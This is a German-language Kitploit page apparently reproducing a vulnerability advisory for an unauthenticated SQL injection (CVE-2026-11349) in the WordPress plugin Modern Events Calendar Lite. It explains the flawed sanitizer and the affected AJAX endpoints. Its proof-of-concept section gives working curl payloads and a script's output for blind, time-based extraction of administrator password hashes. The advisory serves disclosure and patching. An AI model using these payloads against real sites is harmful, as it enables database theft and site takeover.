Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — Nicht authentifizierte SQL-Injection | Kitploit
Tools/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsDatenbanksicherheit
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — Nicht authentifizierte SQL-Injection

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Modern Events Calendar Lite <= 7.33.0 — Nicht authentifizierte SQL-Injection via mec_list_load_more (atts[include] / atts[exclude])

Zusammenfassung

DetailWert
PluginModern Events Calendar Lite
Slugmodern-events-calendar-lite
AutorWebnus
Betroffen<= 7.33.0 (die aktuelle vom Anbieter verteilte Lite-Version). Fehler vorhanden im gesamten post-w.org Bereich; lab-bestätigt auf 6.5.6 und 7.33.0, statisch bestätigt in 5.21.2. 6.5.6 = letzter wordpress.org-Build (eingefroren bei Schließung am 2022-05-11); 7.33.0 = aktueller Build, verteilt von mec.webnus.net
Aktive Installationenwordpress.org-Zahl seit Schließung verborgen; historisch 100.000+. Wird weiterhin aktiv vom Anbieter verteilt/aktualisiert (Lite via mec.webnus.net; derselbe 7.x-Codebasis liegt dem aktiv verkauften MEC Pro zugrunde)
CWECWE-89 (SQL-Injection)
SicherheitslückeNicht authentifizierte blinde SQL-Injection (zeitbasiert / boolesch / fehlerbasiert)
Erforderliche BerechtigungenKeine (wp_ajax_nopriv_* — vor Authentifizierung)
BenutzerinteraktionKeine
CVSS v3.17.5 (Hoch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
StatusLab-verifiziert End-to-End auf 7.33.0 (aktuell) und 6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

Beschreibung

Modern Events Calendar Lite registriert eine Familie von nicht authentifizierten admin-ajax.php "Load More"- Aktionen für seine Event-List-Skins (list, grid, masonry, agenda, timeline, tile, custom). Jeder Handler liest das vom Angreifer kontrollierte atts-Request-Array, übergibt es an eine Helper-Funktion namens sanitize_deep_array() — die bei Aufruf mit ihren Standardargumenten überhaupt keine Sanitisierung durchführt — und verkettet dann die Werte von atts['include'] (und atts['exclude']) roh in einen SQL-post_id IN (...)-Fragment, das mit $wpdb->get_results() ausgeführt wird und kein $wpdb->prepare() verwendet.

Da die Einstiegspunkte auf wp_ajax_nopriv_* registriert sind, ist keine Authentifizierung, kein Konto, kein Nonce oder Benutzerinteraktion erforderlich. Ein nicht authentifizierter entfernter Angreifer kann beliebiges SQL in die WHERE-Klausel eines SELECT gegen wp_mec_dates injizieren und beliebige Daten in der WordPress-Datenbank (Benutzer-Passwort-Hashes, wp_options-Geheimnisse/Schlüssel, Daten anderer Plugins) mittels blinder zeitbasierter / boolescher / fehlerbasierter Techniken auslesen.


Ursache

1. Ein "Sanitizer", der auf dem Standardpfad nichts sanitisiert

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW-Durchleitung, keine Sanitisierung
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... nur erreicht, wenn $excludes nicht leer ist)
    }
    return $sanitized;
}

Die Guard-Bedingung (is_array($excludes) and !count($excludes)) macht die Funktion zu einer vollständigen No-Op, wenn $excludes das leere Standard-Array ist — jeder Wert wird wörtlich kopiert. Die Absicht war offensichtlich "wenn es eine Ausschlussliste gibt, überspringe diese Schlüssel"; die boolesche Logik überspringt stattdessen alles, wenn keine Ausschlussliste angegeben wird.

2. Der Aufrufer liefert kein $excludes

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts']) wird mit einem einzigen Argument aufgerufen → $excludes standardmäßig auf array() → der No-Op-Zweig oben → $atts ist das rohe, nicht vertrauenswürdige $_REQUEST['atts'].

3. Rohverkettung in die IN (...)-Klausel

app/libraries/skins.php:

root@kitploit:~
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

Die Array-Elemente werden direkt in den SQL-String implode()d, ohne Integer-Cast und ohne Escape. (absint()/(int) bei jedem Element hätte dies verhindert.)

4. Ausführung ohne Prepared Statement

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // ersetzt nur `#__` durch das Tabellenpräfix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — kein prepare()
    // ...
}

Der vollständig aufgebaute String wird $wpdb->get_results() wörtlich übergeben.

Taint-Fluss (Request → Senke):

root@kitploit:~
$_REQUEST['atts']                                       (vom Angreifer kontrolliert, nicht authentifiziert)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: Standard-leeres $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = rohe atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (kein prepare)

Erreichbarkeit

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- nicht authentifiziert

Die nopriv-Registrierung macht den Endpunkt vor der Authentifizierung erreichbar. Dasselbe load_more()-Schema und der gemeinsame Query-Builder aus skins.php sind in den Geschwister-Skins vorhanden, jeder mit seiner eigenen wp_ajax_nopriv_*-Aktion, sodass dieselbe Injektion über jeden der folgenden Punkte erreichbar ist:

AJAX-Aktion (nopriv)Skin-Handler
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

In load_more() wird kein Nonce geprüft, und die Aktion erfordert kein Plugin-Shortcode auf einer Seite — die AJAX-Handler werden bedingungslos bei init registriert.


Proof of Concept (lab-verifiziert, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

Alle Requests sind nicht authentifiziert (kein Cookie, kein Nonce). Der injizierte Wert wird in atts[include][] platziert; das Payload schließt die beiden offenen Klammern der IN ((...) AND (... IN (-Gruppe und hängt ein top-level OR <sleep> an, sodass die Bedingung für jede gescannte Zeile ausgewertet wird, und kommentiert dann den nachfolgenden )) ORDER BY ...-Teil aus:

root@kitploit:~
TARGET='https://victim.example'          # plain permalinks: admin-ajax.php direkt verwenden

# 1) Baseline (keine Injektion)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Zeitbasierter Beweis — ausgeglichenes top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) ausgeführt

# 3) Boolesches Orakel (wahr vs. falsch)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (WAHR)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSCH)

# 4) Echte Datenextraktion (blind), z.B. Admin-Passwort-Hash erstes Byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← WAHR: Admin-Hash beginnt mit '$' (phpass)

Die genaue ausgeführte Abfrage (aufgezeichnet aus WP_DEBUG_LOG) für einen Fehler-Canary atts[include][]=0)MEC_SQLI_CANARY war:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— das Literal-Token MEC_SQLI_CANARY erscheint wörtlich in der ausgeführten Anweisung, was die rohe Verkettung bestätigt. Der Parameter atts[exclude][] (skins.php:803 / 603, NOT IN) ist identisch injizierbar (lab-bestätigt: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). Die identische Abfrage und Injektion wurden auf 7.33.0 (aktueller Build) reproduziert — gleicher Canary, gleiches SLEEP-Verhalten.

Automatisierter PoC

mec-unauth-sqli-poc.py (enthalten) ist vollständig in sich geschlossen und erfordert keine Anmeldedaten: es bestätigt die Injektion (Baseline vs. SLEEP) und führt dann eine zeitbasierte blinde Extraktion beliebiger Daten durch (Standard: @@version, DB-Benutzer und das erste Admin-user_login:user_pass). Es validiert jede Antwort (HTTP 200) und taktet Requests mit --delay + Back-off, um WAF/Rate-Limiting zu überleben (z. B. mod_evasive). Es werden keine Daten modifiziert (nur lesender SELECT-Kontext).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

Auswirkungen

Nicht authentifizierter, netzwerkerreichbarer, vollständiger Lese-Zugriff auf die Datenbank: wp_users-Passwort- Hashes, wp_options (auth_key, API-Geheimnisse, Token) und jede andere Tabelle. In der Praxis führt dies zur vollständigen Site-Übernahme (Offline-Hash-Knacken, Geheimnis-/Sitzungsdiebstahl). Die Auswirkung auf die Integrität ist begrenzt — die Injektion wird in einem SELECT über $wpdb->get_results() ausgeführt, das keine gestapelten Abfragen erlaubt — daher I:N. Schwere SLEEP/BENCHMARKs könnten die Verfügbarkeit beeinträchtigen, aber die primäre, zuverlässig demonstrierte Auswirkung ist die Vertraulichkeit (C:H), was zu CVSS 7.5 führt.


Betroffene Dateien

Zeilennummern gelten für 7.33.0 (aktuell) mit 6.5.6 in Klammern; der Code ist im gesamten Bereich identisch.

DateiZeile (7.33.0 / 6.5.6)Problem
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() ist eine No-Op, wenn $excludes das Standard-leere Array ist (der !count($excludes)-Guard)
app/skins/list.php535 / 501atts aus $_REQUEST gelesen und an sanitize_deep_array() ohne $excludes übergeben (in load_more(), 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → nicht authentifizierter Einstiegspunkt
app/libraries/skins.php806 / 603-606include / exclude-Array implode()d roh in post_id IN (...) / NOT IN (...) (exclude bei 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() führt $wpdb->get_results() ohne prepare() aus

Die Geschwister-Skins (grid, masonry, agenda, timeline, tile, custom) teilen sich das gleiche load_more() + skins.php-Query-Builder und registrieren jeweils eine wp_ajax_nopriv_*-Aktion → gleicher Fehler, mehrere Einstiegspunkte.


Abgrenzung zu früheren Modern Events Calendar SQL-Injection CVEs

Dies ist ein eigenständiger, zuvor nicht gemeldeter Injektionspunkt. Jede öffentlich dokumentierte MEC SQL- Injection zielt auf eine andere AJAX-Aktion und einen anderen Parameter ab, und alle wurden in Versionen gepatcht, die dieser Fund nach sich zieht (er ist lab-bestätigt live in 7.33.0):

ReferenzAuthAJAX-AktionParameterBehoben in
CVE-2021-24946Nicht authentifiziertmec_load_single_pagetime6.1.5
CVE-2021-4458Nicht authentifiziert (nur wenn addslashes/Input-Slashing deaktiviert)mec_load_single_pageid6.4.0
CVE-2021-24149Authentifiziert (Autor+/Abonnent)mec_fes_formmec[post_id]5.16.6
Dieser BerichtNicht authentifiziert (keine Vorbedingung)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]ungepatcht (≤ 7.33.0)
  • Anderer Codepfad. Die früheren nicht authentifizierten Probleme befinden sich im Single-Event-Handler mec_load_single_page; dieses hier befindet sich in der Skin-"Load More"-Paginierung (load_more() → MEC_skin::initialize() → app/libraries/skins.php post_id IN (...)-Builder), erreicht durch den No-Op-Standardzweig von sanitize_deep_array(). Die Patches für mec_load_single_page berühren skins.php nicht.
  • Keine Konfigurationsvorbedingung. CVE-2021-4458 (id) war nur ausnutzbar, wenn das PHP/WordPress- Input-Slashing deaktiviert war (ein nicht standardmäßiger Zustand), weil dieser Wert in einem zitierten Kontext steht. Hier landen die Werte atts[include]/atts[exclude] in einem unzitierten numerischen IN(...)-Kontext und werden mit Klammern + SQL-Schlüsselwörtern (0)) OR SLEEP(3)#) ausgenutzt, die wp_magic_quotes() nicht neutralisiert. Daher ist es auf einer Standard-WordPress-Installation ausnutzbar — lab-bestätigt auf Stock WP 7.0 (magic quotes an).
  • Überlebt alle vorherigen Fixes. Bestätigt funktionierend auf 7.33.0 — vier Jahre und eine Hauptversion nach dem letzten mec_load_single_page-Patch (6.4.0).

Offenlegung / Hinweis zum Umfang

Modern Events Calendar Lite wurde am 2022-05-11 von wordpress.org entfernt ("Grund: Richtlinienverstoß"), daher ist der wordpress.org-Build bei 6.5.6 eingefroren. Dies bedeutet nicht, dass das Plugin aufgegeben wurde — Webnus hat die Entwicklung außerhalb der Plattform fortgesetzt: Der aktuelle Lite-Build, der von mec.webnus.net verteilt wird, ist 7.33.0, und der anfällige Codepfad ist dort byte-for-byte derselbe (lab-bestätigt; die SQLi feuert identisch auf 7.33.0). Der Fehler betrifft daher jede Version im gesamten Nach-Entfernungs-Bereich, nicht nur die eingefrorene wordpress.org-Kopie.

Auswirkungen auf die Routinen (der Einwand "closed on wordpress.org" ist viel schwächer als es zunächst scheint):

  • Es ist ein aktuelles, vom Anbieter verteiltes, unterstütztes Produkt, kein verlassener Code — eine koordinierte Offenlegung gegenüber Webnus ist der primäre Kanal; sie liefern aktiv Updates und sollten patchen.
  • MEC Pro (aktiv verkauft; aktuell 7.x) basiert auf derselben 7.x-Codebasis. app/libraries/skins.php, app/libraries/main.php und app/libraries/db.php sind gemeinsam genutzte Kernbibliotheken, daher ist Pro mit hoher Wahrscheinlichkeit betroffen. Dies sollte gegen Pro-Quellcode bestätigt werden, bevor es formal behauptet wird, aber die gemeinsam genutzte Bibliotheksarchitektur macht es sehr wahrscheinlich. Ein bestätigter Pro-Einfluss macht den Befund eindeutig im Rahmen für Patchstack (eine öffentlich verkaufte Komponente) und einen MITRE/Patchstack-CVE wert, unabhängig vom Status der wordpress.org-Listung.
  • Für Konsumenten, die speziell auf die wordpress.org-Listung achten (einige Wordfence-Bounty-Kriterien; Patchstacks "Closed Component"-Ausschluss wie auf den Lite-Free-Build angewendet), verweisen Sie auf die vom Anbieter verteilte 7.33.0 + Pro-Auswirkung anstatt auf den eingefrorenen 6.5.6.

Ein CVE ist aufgrund der Verdienste gerechtfertigt: nicht authentifizierte, netzwerkerreichbare, vollständige DB-Lese-SQL-Injection in einem aktuellen, vom Anbieter verteilten Produkt mit einer historischen sechsstelligen Installationsbasis.


Zeitplan

DatumEreignis
2026-06-03Entdeckt während automatischer Plugin-Überprüfung; End-to-End verifiziert (unauth) auf MEC Lite 6.5.6 (wordpress.org-eingefrorener Build)
2026-06-04Erneut End-to-End verifiziert auf 7.33.0 (aktueller vom Anbieter verteilter Lite von mec.webnus.net); Code/Injektion identisch bestätigt — Befund ist aktuell, kein Artefakt einer entfernten Version
2026-06-04Benachrichtigung des Anbieters (Webnus) + WPScan CVE-Anfrage; Bestätigung, dass MEC Pro den Pfad teilt
2026-06-05Sicherheitslücke verifiziert und CVE zugewiesen
Tool herunterladen